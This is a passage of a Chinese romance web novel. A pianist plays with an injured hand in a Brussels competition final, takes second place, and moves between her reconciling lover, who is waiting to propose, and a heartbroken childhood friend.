贺羡棠摇头:“打了封闭针,没感觉了,打针的时候有点疼。” 沉默一息,沈澈说:“如果我是你,我也会这么做。” 贺羡棠笑了一会儿,赶他走,一个人匆匆地转回化妆间,化妆师已经找了她半天,一见面就拍着手问:“cici,跑哪儿去了?” 贺羡棠一说谎就心虚:“迷路了。” 片刻温存像是从时间罅隙里偷来的。贺羡棠抽离出来,重新投入到决赛的准备中,沈澈又返回巴黎,泡在手工坊里。 一切没什么不一样,又发生了微妙的变化。 贺羡棠的琴弹的很顺利,沈澈的戒指也做的很顺利。 决赛。 十二名选手抽签决定顺序,分六晚登场,获奖名单会在十二位选手全部弹完的当晚宣布。 贺羡棠抽到六号,也就是第三晚第二位选手,既不能早弹完一身轻松,也不能弹完后立刻知道结果,不过她对顺序无所谓,倒是觉得六这个数字很喜庆。 到决赛那一天,她的心态已经很平和了。 等待的时候有点无聊,贺羡棠懒得动脑子,不想听她前面那位弹的怎么样,在后台放空大脑,数羊。 数了一会儿,又去玩手指。 玩了一会儿,到她了。 贺羡棠登台经验多,完全不怯场,一袭高定白裙,大方地朝台下鞠躬,一抬眼,才发现决赛的舞台和观众席离的那么近,近到她觉得那一张张熟悉的脸就在眼前。 第一排,居然全是认识的人哎…… 林樾朝她比加油的手势,Mia和叶微挨着坐还要挽着手,赵珩鼓掌鼓的手心都红了,她眨眨眼回应,视线一扫,望进沈澈漆黑带笑的眸里,只对视一秒,就移开了,耳垂染上一层薄粉。 坐下,灯霎时暗了,只余一束光追着她。 琴音在指间流淌。 沈澈一下子就听出来了,是肖邦第一钢琴协奏曲。 贺羡棠录在黑胶唱片里的,就是其中的第二乐章。 很漂亮的曲子,是浪漫主义的经典之作,也很符合贺羡棠的气质。 她弹的很好。 一散场,众人就急匆匆地去后台,人实在太多了,贺家全家出动,沈澈只好慢悠悠地跟在后面,收到赵珩无数个白眼。 沈澈懒得理他,拿出手机给贺羡棠发消息,经过一扇门时拐了出去。 贺羡棠还没卸妆,搁在桌上的手机屏幕亮起来,她捞过来看消息,已经远远听见林樾和Mia说笑的声音了。 根本来不及嘛! 门被推开了,贺羡棠一扭头,看见了她庞大的亲友团。 林樾说:“今晚超棒啊cici!” Mia和叶微还是挽着手:“是不是解放了?” 贺少川刚想说话,被赵珩挤开了:“我给你讲真是绝了,这比赛要是不把冠军颁给你我都举报他们有黑幕!” 贺齐最后慢悠悠地踱过来,矜持而又沉稳拍了拍她的肩膀:“很好,不愧是我女儿,随我!” 林樾呛他:“随你就完蛋啦!你年轻的时候连李斯特和莫扎特都分不清!” 眼见又是一场大战,贺羡棠举起手:“停停停!听我说听我说!” 林樾笑眯眯的:“好好好。” 一双双带着期许的眼睛望向她,以为她要发表什么感言。 贺羡棠宣布:“我要去卫生间。” 众人:“……” 她一边笑一边悄咪咪往外挪,悄咪咪关上门。走廊里灯光昏暗,厚重的红色地毯吸走了脚步声,贺羡棠看着手机,猝不及防,被一双手臂拽进空房间里。 门关上,震起浮尘。 贺羡棠笑弯了眼睛,勾着沈澈脖子:“你怎么不去后台?” 沈澈亲了她一口:“去后台能这么亲你吗?” 贺羡棠笑眯眯的:“如果你敢的话,我没意见。” 沈澈用鼻梁蹭她:“你爹地要杀了我。” “痒。” 贺羡棠往后躲,后脑勺靠在门板上。 对视上了。 彼此眼里都映着一样的笑意。 沈澈慢条斯理地问:“怎么想到选着一首?” 贺羡棠说:“好听。” 沈澈意味深长地“哦”了一声,拖着腔调懒洋洋道:“原来不是因为它是送给我的礼物啊。” 75 第75章 ◎当天布鲁塞尔大广场惊现上万支玫瑰◎ 礼物? 贺羡棠有点懵:“什么礼物?” 沈澈不高兴了:“你不会忘了吧?” 贺羡棠一时没想起来,只顾端详他的脸色,奇了,向来八风不动稳若泰山的沈董事长,谈起恋爱居然有一颗脆弱敏感的玻璃心。 贺羡棠忍了忍,唇角还是不由自主地扬起。 沈澈问:“你真不记得了?“ 他垂着头,眉眼间尽是失落。 贺羡棠哄他:“我想想,我再好好想想……” 沈澈提醒她:“去年我得到了一张黑胶唱片。” “什么?” “你放在水岸的那一张。” 贺羡棠的脸迅速红了,她耳朵嗡嗡的,疑心是幻听了,水岸那张黑胶唱片……那张她不是让他们销毁了吗! 一抬头,沈澈正好整以暇地盯着她。 贺羡棠打他:“你装可怜!” 沈澈继续装委屈:“真没有。” 他睫毛长,垂着的时候,能显出几分乖巧。贺羡棠捧着他的脸啵了一口,然后才问:“那唱片怎么会在你那?” 沈澈实话实说:“周聿安叫我去水岸打牌,就知道了。” 贺羡棠问:“你听了?” “当然听了。”沈澈现在想起来那段录音,早已没有了当初的遗憾悔恨,喜上眉梢,凑在她耳边念叨,“我爱你,Iloveu,Jetaime,Ichliebedich,Tivogliobene。” 贺羡棠捂着脸。 那是喝醉了录的,录完了她自己都不敢听第二遍,心虚的不敢放在家里,不敢让人知道是她录的,碰巧有几支古董花瓶要送进水岸交易,干脆一并送过去,年年为这不值钱的东西付好大一笔管理费。 她脸红的像煮熟的虾,根本不敢抬头看一下沈澈,化身流体动物呲溜溜要地从他怀里滑下去,沈澈托住她,亲她耳朵尖:“害羞什么?” 贺羡棠从手指缝里看他:“别说了,好丢人……” 她那时候怎么会把爱挂在嘴边上呢?听起来像是泡进了蜂蜜罐里。 “哪里丢人?”沈澈纠正她,“只有勇敢的人才敢承认爱。” “我爱你。”沈澈捏着她的下巴亲了一口,“cecilia,我爱你。” 沈澈以前觉得他绝不会说出这句话,真到了这一天才发现,什么喜欢钟意都太轻了。 他爱她,至死不渝。 贺羡棠被他捏住下巴,不得不仰着头,望见他的神色庄严认真,用发誓的语气讲一句“我爱你”。 像动漫里一样,粉红肥皂泡泡飘起来了。夜风晃动着月白色窗帘,一轮圆月映进窗内,月色如霜,给俩人勾着银边。 沈澈衔住贺羡棠的唇,软的像花瓣一样,稍微用力碾下去,就能尝到甜美的汁水。她溢出的一点喘息也像泡了蜜,甜的醉人。 唇舌纠缠,舍不得分开。 不知道是什么东西倒了,“咚”的一声,贺羡棠一惊,撇开脸循声望去,没开灯,只借着月光看不清楚。 沈澈的视线却一直没从贺羡棠身上移开。 她的裙子还没来得及换下,月色落在上面,是珍珠一般的色泽,高定果真不愧对它的价格,每一处剪裁都合身,严丝合缝地裹着贺羡棠的腰肢,勾勒出曼妙曲线。 沈澈说:“你穿这条裙子好漂亮。” 是很像婚纱。 贺羡棠被亲的有点缺氧,缓了缓才逐渐清醒,脸在沈澈胸膛蹭了下,忽然有个念头在脑海中闪过。 “周聿安喊你去打牌?” 她声音很柔和,但沈澈还是警惕起来,含糊地应了声。 贺羡棠问:“什么时候的事?” “去年。” “几个人?” “……四个。” “还有谁?” 沈澈招架不住,俯身亲她,想含糊混过去,贺羡棠向后一躲,一脸“坦白从宽抗拒完蛋”的模样。 沈澈叹气:“还有两个周聿安找来的女人。” 他讲完,发现这话太有歧义了,两男两女,这不是明摆着让贺羡棠往歪了想吗,于是干脆利落地把兄弟卖了:“我都不认识,真的,是外国人,我都没跟她们说话!周聿安和她们俩……那个什么……” 贺羡棠震惊了,好半天没缓过来,喃喃道:“他那时候还没和叶微分手。” 天啊,他到底给叶微戴了多少顶*绿帽子。 果然男人偷腥只有零次和无数次。 枉她和叶微刚认识的时候,还信誓旦旦地向她保证周聿安是个好人。 贺羡棠迁怒于沈澈:“你们男人就是没一个好东西!你还跟他打牌!” 沈澈冤枉:“我就跟他打过那一次!” 还被发现了。 贺羡棠哼了声,踩了沈澈一脚。 银色高跟鞋飞快地缩回裙摆下,只余沈澈皮鞋上一点脚印。沈澈抱着贺羡棠哭笑不得:“怎么这么聪明啊,cici。” 他还没说什么呢,就提了一嘴周聿安,她立马灵敏地察觉到不对劲,估计在问出第一句话时,就已经预设好答案了,只等他坦白。 只要露一点点线头给她,她就能抽丝剥茧地盘出真相。 贺羡棠骄傲地仰起头:“你好好反省反省吧。” 沈澈保证:“我再也不和他打牌了。bb我真的就和他打过那一次不对,我跟他不熟!都是沈濯和他玩……” 他果断祸水东引出卖亲兄弟,贺羡棠不听他碎碎念,转身回后台了。 卸妆,换上条宽松的长裙,和她庞大的亲友团唠了会嗑,才回酒店休息。 比完赛,贺羡棠真的累了。决赛前这段时间,她神经一直紧绷着,连梦里都是肖邦的旋律,就没睡过一个好觉。关上灯,头一沾枕头,几乎立刻就要睡过去了。 半梦半醒间,有人爬床。 这个点会过来的只有一个人,贺羡棠眼皮都没掀,被人一把捞进怀里,闻到带着男人体温的雪松味,安心地睡过去。 一觉睡到大天亮,醒来时身侧已经空了,贺羡棠躺在床上伸懒腰,晃着腿看天花板,不愿意起床。 沈澈一推开门,看见的就是她这副惬意模样。 早晨的阳光太好,清亮,从百叶窗漏进室内,在温润的木地板上轻晃。贺羡棠整个人陷在草绿色蕾丝滚边的床品之中,头发柔顺地散开,晃着腿哼着歌。 沈澈笑了,倚在墙上,抬手屈指敲门。 贺羡棠一偏头。 这人一大早收拾的还挺有模有样的,白衬衫黑西裤,袖口卷上去,没系领带,万年不变的搭配,却被他穿的清清爽爽,贺羡棠品了会儿,发现是衬衫款式更宽松休闲的缘故。 她伸出手挥了挥,沈澈走过来,牵住,一把把她拉起来。 贺羡棠顺势跳到他身上,双腿盘在腰间,猫似的眯眯眼睛,发出满足地喟叹:“睡饱觉的感觉好幸福啊!” “睡饱觉之后看见靓仔的感觉不幸福?” 贺羡棠说:“自恋狂。” 沈澈不轻不重地拍了下她屁股。 “哎?”贺羡棠不满地挂在他身上扭了扭,“你怎么打人啊!” 沈澈眸色暗了下:“你庆幸我两个小时前就起床了吧。” 贺羡棠傻乎乎地说:“你醒的这么早啊?起来干什么了?” 沈澈无奈地盯着她。 被他这么一看,贺羡棠才反应过来,脸颊发烫,不知道是不是心理作用,感觉某个部位的存在感也很强,匆忙从他身上跳下来,扮了个鬼脸就冲进卫生间。 门“砰”地关上,颇有点落荒而逃之意。 沈澈摇了下头,过去敲敲门:“洗漱完出来吃早餐,一会儿医生过来。” 贺羡棠拧开水龙头,拢了把水泼到脸上,脸颊滚烫的温度总算冷却下去了,混着水声,她含糊地应:“知道啦!” 医生还是那个医生,沈澈付了他一笔天价酬劳,换他二十四小时待命。 检查还是那些检查,只不过医生的眉毛拧的更紧。 比完赛,贺羡棠就很乖巧,医生说什么她都答应。 医生说暂时先制动休息,涂药观察。 贺羡棠说:“我保证每天都不会忘记。” 医生说:“我要把你的手绑起来。” 贺羡棠才不可置信地抬眼:“你好粗鲁。” 比完赛第二天,她就失去了左手自由活动权。 手都绑上了,贺羡棠才想起来:“啊……这个比赛的前六名要办音乐会的!” 吸取上次吵架的教训,沈澈温柔地问:“你想去吗?” 贺羡棠说:“我没想好呢。” 都绑上了还没想好。 医生咳了声,警告似地喊她:“Cecilia。” “OKOK,”贺羡棠说,“我不去。” 沈澈满意了,矜持地略一点头:“我支持你。” 贺羡棠说:“你支持我一点儿违约金吧。” 沈澈挑了下眉:“什么违约金?” “不去音乐会要赔违约金啊。”贺羡棠说,“我记不清多少了,总之不便宜呢!” 沈澈说:“我赔他十倍。” 贺羡棠笑得很欢,说他败家。 就像一场大考结束后总得找点乐子放松,贺羡棠虽然左手被绑起来了,但右手还灵活自若,一点都不耽误。 布鲁塞尔没什么意思,贺羡棠约了Mia和叶微去巴黎迪士尼玩。 沈澈不可置信地问:“去哪?” “巴黎。”贺羡棠使唤他帮忙收拾行李,“你这是什么表情?” “今天就走?” “Mia还有十几分钟就来接我。” 沈澈扯出一个虚伪的笑来:“去几天?” 贺羡棠说:“公布结果那天再回来啊,Mia还想去逛街。” 沈澈捏着口袋里那枚戒指:“我……能一起去吗?” 贺羡棠羞涩地笑了下:“我问问哦。” 电话打给Mia,贺羡棠兴冲冲地问:“我能带沈澈一起去吗?他可以开车、拎包、结账。” Mia丢下一句“姐妹局谁带男人谁是狗”就把电话挂了。 贺羡棠眨着一双水灵灵的大眼睛:“两三天而已,你也不忍心我当狗吧?” 沈澈深吸一口气。 两三天而已,他忍。 贺羡棠前脚刚走,后脚送鲜花的就过来了。 从非洲空运来的厄瓜多尔玫瑰,朵朵鲜艳。 可惜应该收到这份惊喜的人已经拍拍屁股到巴黎了。 当天布鲁塞尔大广场惊现上万支玫瑰,并竖起一块牌子——“FreeGift”。 76 第76章 ◎“去给你买花。”◎ 从布鲁塞尔开车到巴黎,要三个小时,路上无聊,贺羡棠缩在副驾驶补觉,Mia和叶微插科打诨,从brighten这一期的高定聊到最新上映的电影。 “那男主我认识。”叶微欣赏着她刚做的指甲,漫不经心说,“一起拍过杂志。” Mia说:“看着挺帅的啊,联系方式推给我呗。” 叶微笑道:“你是人吗?人家都结婚了!” Mia遗憾地直摇头:“唉——怎么帅哥都英年早婚啊。” 贺羡棠笑的抖了下肩膀。 Mia扫她一眼:“别睡了,一上车就睡觉,不知道的以为在这演睡美人呢。” 贺羡棠找了个更舒服的姿势缩着:“我都一个多星期没睡好觉了。” “你还年轻,睡那么多觉干什么?”Mia随口问,“这手怎么回事,新情.趣?” 叶微正在喝水,闻言,一口水差点喷出来。 她呛了一口,连连咳嗽:“你能矜持点吗?” Mia问:“你有这东西?” 叶微忸怩了一下,故作娇嗔:“人家当然有啦。” Mia对贺羡棠说:“她思春了,不用管她。” 贺羡棠这些天一直在忙比赛,闲暇时间全被沈澈占走了,根本不知道叶微的近况。她有点惊喜:“你谈恋爱啦?” 叶微满眼笑意:“快了。” 她说的含含糊糊,贺羡棠也没继续追问,但她藏不住事儿,没一会儿就抱着手机给贺羡棠看照片:“怎么样?” “挺帅的。”贺羡棠说,“看着有点眼熟。” “是个演员啦。” 贺羡棠问:“出名吗?” Mia说:“你是山顶洞人吗?人家新晋顶流,微博粉丝两千万。” 贺羡棠据理力争:“我哪有时间关注娱乐圈!” Mia轻飘飘地说:“时间都用来谈恋爱了吧?” 贺羡棠:“……” 叶微俨然一副刚坠入爱河的模样,收到准男友的消息,笑的眉眼弯弯,缩在后座聊天去了。 Mia又问:“你这手到底怎么了?” “腱鞘炎。” Mia啧啧称奇:“可以啊贺羡棠,什么时候这么有事业心了。” 贺羡棠哼了声:“我一直都挺有事业心的。” “等公布比赛结果了给你买个热搜。” “买什么?” Mia想了下:“贺羡棠带伤夺冠。” 贺羡棠忧心忡忡:“没夺冠怎么办?” 叶微举手说:“这我知道!就买……帕那索斯国际钢琴比赛黑幕,话题度绝对拉满!”她扬了下眉,“我有渠道,可以打折。” “这个好。”Mia说,“买他个第一!” 贺羡棠笑的不行。 其实对于最终的结果,贺羡棠倒没什么感觉。她已经尽了最大的努力,结果如何她都接受,更何况这也不是她能控制的事情,既然不能控制,索性也不去想。 三人到了巴黎,先去brighten的高定坊。Mia今年看秀时买了几条裙子,让贺羡棠试。 “为什么让我试?” Mia望着镜子,淡声说:“给你买的。” 她朝叶微扬下巴:“她有品牌方送,这期的设计我不喜欢,不过挺适合你的,开音乐会穿。” 贺羡棠每次演出的服装都是自己准备的,她有收藏高定的习惯,也不想穿品牌赞助。 闻言,她大为感动,水汪汪的眼睛盯着Mia,一双扇子似的睫毛眨啊眨,说出那句经典台词:“你如果是个男人……” “你如果是个男人我一定嫁给你。” “我如果是个男人也是个不婚主义的男人。” 贺羡棠长长地“嘁”了声,试裙子去了。 依旧是她熟悉的裁缝师,还有几个他的助手围着,只不过这次,brighten母公司的总裁也来视察工作,他和贺羡棠认识,遇上了,两个人寒暄几句。 “我看见你穿着brighten的高定参加比赛了,”男人西装革履,立在落地镜前,唇角挂着恰到好处的微笑,“mypressure。” 贺羡棠跟他客套:“能穿着brighten的高定去参加比赛,也是我的荣幸。” 男人又说了几句恭维话,贺羡棠左耳进右耳出,也回他几句恭维话,原本聊到这儿就该结束了,可男人一垂眸,若有所思般说:“你那条裙子……” 贺羡棠下意识:“嗯?” 男人摇摇头,笑道:“没什么。” 贺羡棠淡淡的:“Leo,话说一半不如不说。” Leo笑起来:“你那条裙子,可以说是brighten这么多年最贵的一件高定了。” 贺羡棠还没反应过来。 Leo说:“沈董夺人所爱,出手也大方,拿一桩石油生意换的。” 贺羡棠心弦一颤。 第一反应是,坏了,她就给了他几百万。 然后才想起来,他当初买那条裙子送给她时说的话——“我不希望你再有任何遗憾”。 现在想想,也是很好听的一句情话。沈澈这个人年轻的时候醉心工作,迈入三十而立的年纪,居然长出了烽火戏诸侯的劣性根。 分开不到一天,贺羡棠有点想他了。 Mia和叶微凑在一起说笑,偶然抬头一瞥,奇道:“很热吗?你脸怎么这么红?” 高定屋内明明是最舒适的温度和湿度。 贺羡棠期期艾艾:“我……刚刚吃了一块酒心巧克力。” 换下衣服,她找借口:“我去卫生间。” 说完,不敢看Mia,落荒而逃。 门关上,贺羡棠拨沈澈的电话,响了两声,就被接通,她一时不知道说什么,只是沉默着,听筒传出沈澈的笑声。 “cici,想我了吗?” 贺羡棠低低地“嗯”了声。 沈澈原本以为会讨几句骂,没想到她承认:“我去找你。” “不要不要,我后天就回去了,”贺羡棠攥着手机,额角难为情地出了一层薄汗,“你现在过来,Mia肯定骂我。” 沈澈不满:“她好烦。” “她看你也挺烦的,”贺羡棠小声嘟囔,“你们俩什么时候才能和平共处?” “下辈子!” 两道声音一同响起,贺羡棠抬眸,吓了一跳:“你什么时候来的?” Mia跺了下脚,高跟鞋踩在大理石上,发出清脆的一声:“谁叫某人谈恋爱太专注了,什么都听不到。” 贺羡棠手忙脚乱挂了电话。 Mia伸手戳她脑门儿:“小恋爱脑。” 次日去迪士尼,贺羡棠也没什么心情玩,终于等到回布鲁塞尔,她下了车,飞一样飘进酒店。 套房里空荡荡的,窗户没关紧,微风吹起月白窗帘,细纱拂过花瓶里的香水百合。 从会客厅转到卧室再转到书房,真的没人。 贺羡棠有一瞬间失落。 不过也只是一瞬间,晚上要去决赛现场,她洗完澡,化一个淡妆,换上条点缀着水钻和蕾丝的黑色掐腰吊带长裙,拉链刚拉上,门“吱呀”一声,贺羡棠一抬眸,见沈澈抱着束花站在门口,沉稳的黑西装,更显红玫瑰娇艳。 贺羡棠倚着梳妆台笑。 沈澈把花搁在桌上,俯身亲了她一口,如一头鹿啜饮,姿态漫不经心,又带着摄人心魄的魅力:“回来了怎么不找我?” “谁知道你去哪儿了。” “去给你买花。” 沈澈又要亲她,贺羡棠伸手抵住他肩膀:“要出发了。” “紧张吗?” 贺羡棠摇头。 说不紧张,但到了现场,庄严肃穆的音乐一响,还是会有一点。 比赛的名次由评审团,由后向前宣布,第十二名,第十一名,一直听到第六名,都没有cecilia的名字。 第五名,第四名,还是没有。 进前三了。 亲友团齐齐憋住呼吸,恨不得上台抢过主持人的台本看看。贺羡棠摸摸眉毛,深藏功与名。 第三名,是比利时人。 林樾凑在贺羡棠耳边说:“你肯定是第一。” 话音刚落,台上就公布了亚军人选。 “CeciliaHe,fromHK。” 什么结果,贺羡棠都接受。她款款起身,对着观众席鞠躬,上台前感觉沈澈捏了把她掌心。 湿漉漉的。 贺羡棠抬眼瞥过他,神色自然淡定,其实偷偷出了一手心的汗。 她有点想笑。 上台领奖,亚军有两万欧元的奖金。贺羡棠是十二位决赛选手中唯一的东方面孔,参赛前就有一点名气,因此一登台,闪光灯晃个不停。 她挂着得体的微笑,视线扫过台下,在如浪潮般的掌声中,与沈澈对视。 他穿一身黑西装,唯有袖口的银色袖扣泛一点光,随着鼓掌的动作,划成一条银线。 赵珩忧心地问Mia:“你说,cici会不会伤心啊?” “安心啦,她是贺羡棠哎。” “不行,”赵珩说,“我还是去安慰她一下。” 他抬头,没找到贺羡棠:“她人呢?” “没回来?”Mia看向空着的座位,“是不是去后台了?” 赵珩蹙眉:“我去找找。” 这会儿不管是媒体还是赛事组都在台前看颁奖仪式,长而幽深的走廊里很安静,因此一点粗重的喘.息声就显得格外明显。 沈澈贴在贺羡棠耳畔哄:“第二名也是全世界独一无二的第二名。” 贺羡棠说:“我挺高兴的。” “真的。”怕他不信,贺羡棠补充道,“我心态好。” 沈澈一手捏着她下巴,让她沉浸在这个漫长的吻里,一手放进口袋,摸到戒指,思索这是否是一个好时机。 忽然…… “棠棠?” 贺羡棠循声望去,一转头,看见赵珩立在不远处。灯光实在太暗了,看不清他的神情,但他身上散发出来的失落让人完全无法忽视。 自从上中学后,贺羡棠就很少听赵珩叫她“棠棠”了,这个称呼似乎专属于两人都厌恶英文的童年。 赵珩没说话,看了她一会儿,缓缓转身离开。 贺羡棠如梦初醒,挣开沈澈的手追上去:“赵珩!” “赵珩!” 沈澈靠在墙上,看着两人逐渐重叠的背影,手心被戒指咯得生疼。 77 第77章 ◎“cici好爱哭。”“下面也是。”◎ 无月无星的一个晚上,像是要下雨。 赵珩高的扎眼,贺羡棠只往人群里一扫,就能找到他。他们是同岁,按理说都不算年轻了,可他穿白T,宽阔又单薄的背,保有一份少年人独有的气质。 只是那向来笔直的背此刻微微弓着,仅一个背影,也能看出心情很差。 “赵珩!” 赵珩听得见贺羡棠叫他,但是脚步未停。 这是这么多年,贺羡棠第一次追着他跑。纵使有些恶劣,赵珩私心也希望这条路更长一点、再长一点。 最好长到他们走不到尽头。 贺羡棠今晚穿了高跟鞋,裙摆又长,走不快,街上人多,不知为何只有他们两个是逆着人流走的,因此总是不免磕碰。 被一个人高马大的男人故意撞到肩膀,贺羡棠下意识喊了声:“哎你……” 人不搭理她,只留给她一个后脑勺。 没功夫追究,贺羡棠心想算了,转过身找赵珩,只见他朝她走来。 赵珩蹙眉:“怎么了?” “被人撞了一下,没事儿。”贺羡棠揉着肩膀,见他神色冷冰冰的,忍不住咕哝,“你怎么走那么快,我都追不上。” 若是往常,他肯定要趁机自卖自夸,说“我腿长”。但他这次没讲话,只低垂着眉眼看她。 贺羡棠也垂着眼,余光里赵珩小臂上有一道长长的伤疤,很浅,已经结痂。贺羡棠伸手:“这是怎么弄的?” 赵珩躲开了,语气硬邦邦的:“手不要乱动。” 赵珩哪用这种语气跟她说过话,贺羡棠顿时有点想哭。 她之前看网上说,阶段性的友谊才是常态。可是她已经三十多岁了,身边的人来来去去,真心的朋友还是那几个。 贺羡棠有时候觉得感情和感情之间没有什么分别,她想和林樾永远在一起,想和沈澈永远在一起,也想和赵珩、和Mia永远在一起。 她很害怕失去。 赵珩见不得她这样,原本打定主意不多说话的,现在也出尔反尔了:“我的意思是,手不是受伤了吗,就别乱动了。” 贺羡棠咬着唇,眼圈泛红,眼前一片雾气。 “你……”赵珩叹了口气,声音轻飘飘的,“我都哄了你这么多年,你就哄我这一回吧。” 夜色已经深了,街角的店散发着微弱的暖黄色的光,赵珩的脸一半被灯照亮,一半隐在黑夜里,因此显得鼻梁很挺。 赵珩撇开脸看红绿灯,刘海被微风吹动,深邃的眉眼就完全露出来了,那一双眼睛里说不出是什么情绪,压抑着,像万顷湖水。 贺羡棠看向一旁的橱窗,里面摆各色鲜花,紫色鸢尾摆在最不起眼的角落里。 “我给你买花吧。”贺羡棠说。 赵珩沉默地随她走进街角的花店。 门推开,风铃一阵响,店员迎上来,问贺羡棠需要什么。贺羡棠指着橱窗说:“我想要那束鸢尾。” 只有鸢尾,用白色的硬挺纸包了,贺羡棠才发现,她没带手机,包也没拿,浑身上下一分钱都没有。 赵珩沉默地从钱夹里抽出几张纸币递给店员,贺羡棠拦住他:“不要!明明是我送给你的。” 她有些赧然,想了想,摘下耳钉问:“可以用这个换一束花吗?” 是Brighten的钻石耳钉,小巧精致,一枚五十分。 店员有些犹豫。 贺羡棠从没有这种经历,给他们看侧面Brighten的logo:“是正品。” 人家更不敢收了,只说:“女士,这束花送给您了,祝您生活愉快。” 贺羡棠最终还是把耳钉放在了收银台上。 走出花店,她把鸢尾花递给赵珩。 赵珩说:“你很久没送我花了。” “被我搞砸了。”忍了一晚上的眼泪,最终还是忍不住,贺羡棠只能尽力把脸埋的很低,泪珠直愣愣地往地面上砸,“对不起,赵珩,对不起。” 赵珩想帮她擦眼泪,手停在半空顿了顿,改为揉她的头发。 “别哭了。” := 他知道感情这事儿强求不来,也不分先来后到。贺羡棠的歉疚毫无道理,他喜欢她,是他一个人的事儿。 更何况……赵立昇那事儿之后,赵珩也没脸再敢提追求她。是他自己想等一等,等到他心里的坎儿过去了,等到贺羡棠也攒足了进入下一段感情的勇气。 碰巧新加坡分公司需要一名执行总裁,东边不亮西边亮,赵珩空降过去,想着边等边搞搞事业。 只是没经得起他等。 要怪只能怪沈澈阴魂不散。 也怪新加坡那边状况百出,他难以抽身回国。 贺羡棠用手背胡乱抹了两把脸。 她也不想哭,就是忍不住。 赵珩又揉了一把她的头发:“你……还是喜欢他吗?” 他不死心,他再次求证,但他连念出那个名字的勇气都没有。 贺羡棠不说话,半晌点了下头。 大概是在周聿安嘴里听到沈澈出车祸的消息那一刻起,贺羡棠才终于正视自己的心。 她喜欢沈澈,这种喜欢甚至成了一种从十几岁就开始就养成的习惯,和吃饭喝水一样自然,即便经历了一场失败的婚姻,但习惯早已融入骨血。 离婚时,她逼着自己改,但它还是时不时就冒个头,在那偶尔一瞬间的心软里叫嚣——你改不掉的,这辈子也改不掉。 赵珩五脏六腑都搅在一块儿,翻涌着,疼的分不清哪里是胃哪里是心脏。 缓了很久。风拂过耳畔,带来远处的欢笑。今晚似乎是有足球比赛,比利时队赢了吗,球迷走上街头,振臂欢呼,啤酒泡沫飘在风里。 贺羡棠不抬头,赵珩缓缓蹲下去,仰视她,两个人脸上都是一样紧绷的表情。 赵珩轻声说:“我是你最好的朋友,对吗?” 贺羡棠说:“你永远是我最好的朋友。” 她的泪又落下来,这次赵珩伸手帮她擦掉了。就像他永远都托着她一样。 “回去吧。”他声音轻的像叹息。 布鲁塞尔不大,他们俩走回酒店,在电梯间分道扬镳,赵珩才想起来:“还没来得及祝贺你。” 梯门明亮异常,贺羡棠看着上面两人的倒影,小声说:“谢谢,回香港我请你们吃饭。” 赵珩沉默片刻,忽然问:“你快过生日了吧?” 这是七月的最后一天,贺羡棠的生日在八月份,她算了下时间,惊觉居然又过了一年。这些天忙忙碌碌,连她自己都忘了,难为赵珩还记得。 贺羡棠小鸡啄米似地点点头,头顶上一撮头发跟着晃。她刚刚哭过,泛红的眼圈和鼻头,轻轻抿一下的唇,都是蔷薇的色彩,整个人显得异常沉静乖巧,像夏夜里一株倚着栅栏静静绽放的蔷薇花。 赵珩说:“我给你准备吧。” 以往贺羡棠过生日,也都是赵珩或者Mia准备,贺羡棠又点点头。 徇旧给她微妙的愉悦,她希望他们一如往常。 她那撮头发还是跟着晃,傻里傻气的。赵珩笑她:“一点儿也不像狮子座。” 贺羡棠不够风风火火。 贺羡棠说:“因为我月亮星座是水瓶座!” “什么是月亮星座?” “就是……”贺羡棠不知道怎么表达,“我也说不清。” 赵珩淡淡说:“没想到你还研究过这个。” 贺羡棠不敢说,她还在读中学那会儿,曾经在一个线上网站里输入自己和沈澈的生日,算星座匹配度,结果很差。 她怒而研究了很久,发现每个人还有月亮和上升星座,六个星座排列组合轮着试,直到算出90%以上的匹配度才心满意足。 大概只有十几岁才会那么幼稚。 贺羡棠弱弱地“嗯”了声。 赵珩赶她:“快回去休息吧。” 他们的房间在相反的方向,贺羡棠挥挥手,往左走,走了两步回头看,赵珩还站在原地。 他朝她挥手,取出烟和打火机,去露台了。 沈澈也坐在套房露台上抽烟,拿戒指抛着玩。身侧是泳池,风吹过,水波荡漾。 他追悔莫及,早知道就多给那姓赵的使点绊子,让他在新加坡赶不过来。 听到开门声,沈澈连忙把烟掐了,戒指妥帖地放回口袋里。 怎么送一枚戒指出去就这么难?被Mia打断一次,又被赵珩打断一次。 沈澈已经想好了,要借题发挥,醋意大发,酸飘十里,装可怜让贺羡棠哄。 她居然丢下他去追赵珩。 还一句话都没留给他! 沈澈现在回想那局面,胸腔里还是闷得慌。贺羡棠一见到赵珩,就如惊弓之鸟般把他甩开,好像他们俩是什么见不得光的关系。 只是一走出去,见到贺羡棠红着眼睛,就什么都忘了。 “姓赵的欺负你了?” 贺羡棠摇头:“没有,你不要总把我的朋友想的那么坏。” 沈澈冷哼:“他是什么好人吗?” 贺羡棠今晚很维护赵珩:“他哪里不好啦?” 沈澈被她一句话噎住了。 虽然他讨厌赵珩,但也不得不承认,之于贺羡棠而言,赵珩是个很好很好的朋友。甚至于在他们结婚的那几年里,赵珩做的比他更好。 沈澈因此有点儿难过。 贺羡棠察觉到他的失落,捧着他的脸亲了一下,低声说:“你也很好。” 很软的触感。只是亲了一下,沈澈就笃定贺羡棠今晚肯定没少哭。他追上去,一个吻落在贺羡棠鼻尖上,然后向下,亲她的脸颊和嘴唇。 她的皮肤早就被泪水泡湿了,软乎乎像小婴儿。 “哭了多久?” 贺羡棠说:“一会会。” 她为别的男人哭。 沈澈“啧”了声表达不满,更多的话他也不敢说。 贺羡棠察觉到他不开心,认错态度很好,执起他的手:“对不起,今晚不应该丢下你,当时我有点着急。” 沈澈拂开她额前的碎发,盯着她看了一会儿。远山黛眉,目似秋水,一张素净的小脸低垂,等不到回应,玻璃珠一样漂亮的眼珠往上瞥。 怎么这样乖,乖的他心都要化了。 “不要讲对不起。”沈澈说,“以后也不准讲。” “为什么?” “因为我们之间不需要对不起。”沈澈补充,“也不需要谢谢。” 贺羡棠问:“你不生气吗?” “你的朋友我生什么气?”沈澈蹭她的鼻尖,大方承认,“但是有一点吃醋。” 贺羡棠想了下:“如果你为了朋友丢下我,我会很生气很生气。” 沈澈淡淡地说:“我没有关系太好的朋友。” “光千照不算吗?” “更多是利益吧。”沈澈开始蹭她的脸,嗅她身上的香气,像只缠着主人的小金毛,“我只有你,cecilia。” 贺羡棠“嗯”了声。她心情有点复杂,因为这句话生出些愉快,也因为这句话生出些心疼。 他总是身处什么样的境地,连个朋友都没有? 贺羡棠又想起件事:“我今晚给赵珩送了花,你不会在意的吧?” 她这么问,沈澈深吸一口气,装大方:“不在意。” 实在装不下去,他说:“你还不如不告诉我。” 